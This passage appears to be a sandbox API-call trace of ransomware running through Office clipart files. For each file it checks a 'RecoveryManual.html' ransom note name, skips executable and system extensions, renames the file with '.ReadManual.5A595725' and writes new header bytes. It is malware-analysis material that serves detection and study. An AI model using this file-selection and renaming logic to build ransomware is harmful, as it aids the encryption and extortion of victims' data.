nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.603] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c46) returned 0x2f0000 [0270.603] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.604] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39127247241) returned 1 [0270.604] CloseHandle (hObject=0x184) returned 1 [0270.604] SetSecurityInfo () returned 0x57 [0270.604] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.604] CloseHandle (hObject=0x194) returned 1 [0270.604] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117a8f00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x117a8f00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x54a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01066_.WMF", cAlternateFileName="")) returned 1 [0270.604] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01066_.WMF" | out: lpString1="NA01066_.WMF") returned="NA01066_.WMF" [0270.604] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.604] StrStrIW (lpFirst="NA01066_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.604] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.604] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.605] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.605] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.605] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.605] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" [0270.605] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.ReadManual.5A595725" [0270.605] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.ReadManual.5A595725") returned 87 [0270.605] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39127350015) returned 1 [0270.605] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf")) returned 0x20 [0270.606] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.606] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21672) returned 1 [0270.606] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x54a8, lpName=0x0) returned 0x184 [0270.606] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.607] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.607] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.609] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.609] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x54a8) returned 0x2f0000 [0270.609] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.609] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39127828136) returned 1 [0270.610] CloseHandle (hObject=0x184) returned 1 [0270.610] SetSecurityInfo () returned 0x57 [0270.610] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.610] CloseHandle (hObject=0x194) returned 1 [0270.610] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d55d00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0d55d00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x1a7e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01069_.WMF", cAlternateFileName="")) returned 1 [0270.610] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01069_.WMF" | out: lpString1="NA01069_.WMF") returned="NA01069_.WMF" [0270.610] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.610] StrStrIW (lpFirst="NA01069_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.610] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.610] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.610] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" [0270.610] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.ReadManual.5A595725" [0270.610] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.ReadManual.5A595725") returned 87 [0270.611] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39127930154) returned 1 [0270.611] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf")) returned 0x20 [0270.611] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.611] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6782) returned 1 [0270.611] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a7e, lpName=0x0) returned 0x184 [0270.611] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.612] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.612] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.614] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.614] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a7e) returned 0x2f0000 [0270.614] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.614] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39128283031) returned 1 [0270.614] CloseHandle (hObject=0x184) returned 1 [0270.614] SetSecurityInfo () returned 0x57 [0270.614] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.614] CloseHandle (hObject=0x194) returned 1 [0270.614] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19e000, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe19e000, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01123_.WMF", cAlternateFileName="")) returned 1 [0270.614] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01123_.WMF" | out: lpString1="NA01123_.WMF") returned="NA01123_.WMF" [0270.614] lstrcmpiW (lpString1="NA01123_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.614] StrStrIW (lpFirst="NA01123_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.615] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.615] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.615] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" [0270.615] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.ReadManual.5A595725" [0270.615] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.ReadManual.5A595725") returned 87 [0270.615] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39128383101) returned 1 [0270.615] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf")) returned 0x20 [0270.615] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.616] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7680) returned 1 [0270.616] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e00, lpName=0x0) returned 0x184 [0270.616] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.616] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.616] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.618] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.618] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e00) returned 0x2f0000 [0270.618] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.618] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39128724575) returned 1 [0270.619] CloseHandle (hObject=0x184) returned 1 [0270.619] SetSecurityInfo () returned 0x57 [0270.619] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.619] CloseHandle (hObject=0x194) returned 1 [0270.619] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23d3100, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe23d3100, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01126_.WMF", cAlternateFileName="")) returned 1 [0270.619] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01126_.WMF" | out: lpString1="NA01126_.WMF") returned="NA01126_.WMF" [0270.619] lstrcmpiW (lpString1="NA01126_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.619] StrStrIW (lpFirst="NA01126_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.619] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.619] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.619] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" [0270.620] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.ReadManual.5A595725" [0270.620] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.ReadManual.5A595725") returned 87 [0270.620] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39128837730) returned 1 [0270.620] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf")) returned 0x20 [0270.620] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.620] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2928) returned 1 [0270.620] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb70, lpName=0x0) returned 0x184 [0270.620] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.621] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.621] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.623] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.623] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb70) returned 0x2f0000 [0270.623] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.623] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39129179336) returned 1 [0270.623] CloseHandle (hObject=0x184) returned 1 [0270.623] SetSecurityInfo () returned 0x57 [0270.623] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.623] CloseHandle (hObject=0x194) returned 1 [0270.623] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94292d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94292d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x16a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01130_.WMF", cAlternateFileName="")) returned 1 [0270.623] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01130_.WMF" | out: lpString1="NA01130_.WMF") returned="NA01130_.WMF" [0270.623] lstrcmpiW (lpString1="NA01130_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.623] StrStrIW (lpFirst="NA01130_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.623] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.624] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.624] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" [0270.624] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.ReadManual.5A595725" [0270.624] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.ReadManual.5A595725") returned 87 [0270.624] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39129278278) returned 1 [0270.624] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf")) returned 0x20 [0270.624] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.625] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5792) returned 1 [0270.625] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16a0, lpName=0x0) returned 0x184 [0270.625] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.625] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.625] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.627] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.627] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16a0) returned 0x2f0000 [0270.628] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.628] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39129643226) returned 1 [0270.628] CloseHandle (hObject=0x184) returned 1 [0270.628] SetSecurityInfo () returned 0x57 [0270.628] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.628] CloseHandle (hObject=0x194) returned 1 [0270.628] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e1e00, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22e1e00, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x16d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01141_.WMF", cAlternateFileName="")) returned 1 [0270.628] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01141_.WMF" | out: lpString1="NA01141_.WMF") returned="NA01141_.WMF" [0270.628] lstrcmpiW (lpString1="NA01141_.WMF", lpString2="RecoveryManual.html") returned -1 